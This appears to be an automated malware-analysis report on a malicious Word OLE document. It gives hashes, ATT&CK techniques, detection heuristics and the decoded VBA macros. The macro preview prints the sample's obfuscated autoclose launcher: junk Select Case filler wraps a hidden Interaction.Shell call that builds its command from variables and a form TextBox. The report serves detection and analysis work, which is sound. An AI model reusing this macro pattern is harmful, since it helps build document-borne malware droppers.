Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7a99c7b9c6a764f…

MALICIOUS

Office (OLE)

140.5 KB Created: 2018-12-19 23:11:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: a04089b1071c1f8147c7476258df120c SHA-1: 95a03b474fc9d72151a31581fb87384d15740bf3 SHA-256: e7a99c7b9c6a764f83caa0718be1204a08b7db72034da5c046bf9b16e0ba21c6
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros utilize the Shell() function, a critical heuristic firing, to execute commands. This strongly suggests the document's purpose is to download and execute a secondary payload, a common technique for malware delivery. The presence of an Auto_Close macro further indicates an attempt at automatic execution upon document closure.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6789659-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6789659-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
P0997287 = Array(M99193163, Z09186463, F10983173, Interaction.Shell(CVar("" + Y95865923 + A7546930 + a0629037 + w1731428726725.TextBox1) + T925348 + E6087251, 13 - 13), n361105)
   Select Case M7623
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
a08368
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4271 bytes
SHA-256: e6173e7488042b6ba0bbf881aea559e1443882f560171bcbba3e43d29fe697ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "w1731428726725"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
a08368
End Sub

Attribute VB_Name = "z9089716793741"
Function a08368()
On Error Resume Next
   Select Case j5928
         Case 181929357
 p7089 = a6145
r004 = Rnd(Z4877 - Round(p683) / 190096220 - Round(D3776))
V1035 = h646
N071 = Rnd(f599 * Tan(51668273))
         Case 60821191
I260 = A1994
d473 = c1123
      End Select
   Select Case l6769
         Case 257649124
 i1452 = K770
K0549 = Rnd(X9310 - Round(n604) / 40729899 - Round(f524))
k676 = J947
O912 = Rnd(n811 * Tan(187921255))
         Case 165069962
p7932 = j158
m8934 = j484
      End Select
P0997287 = Array(M99193163, Z09186463, F10983173, Interaction.Shell(CVar("" + Y95865923 + A7546930 + a0629037 + w1731428726725.TextBox1) + T925348 + E6087251, 13 - 13), n361105)
   Select Case M7623
         Case 184206949
 W736 = C3678
j1081 = Rnd(q606 - Round(r440) / 199448817 - Round(c9384))
D690 = Q4640
q9656 = Rnd(S870 * Tan(108283524))
         Case 267422334
J8541 = Z9399
L243 = w8956
      End Select
   Select Case l5116
         Case 136258102
 X032 = A3599
n1240 = Rnd(i988 - Round(z5667) / 71165780 - Round(K7899))
G1328 = j0968
U4605 = Rnd(h3618 * Tan(218499608))
         Case 11700963
C773 = z253
t5101 = G0803
      End Select
   Select Case f1231
         Case 327691428
 N883 = Q785
i209 = Rnd(S9321 - Round(q499) / 145640151 - Round(w453))
H8559 = E5497
s891 = Rnd(i3100 * Tan(60921730))
         Case 151546857
u573 = W1301
R661 = i752
      End Select
End Function


Attribute VB_Name = "z5018489198"

Attribute VB_Name = "d6516183"

Attribute VB_Name = "C52160478"

Attribute VB_Name = "D56965152464643"

Attribute VB_Name = "z1426396632"

Attribute VB_Name = "H151620206792"

Attribute VB_Name = "G7746977286"

Attribute VB_Name = "z306636059"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Q1673454506"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q543300291"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "R769229316725"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "p4007227"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "j29235121"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "p539863393989"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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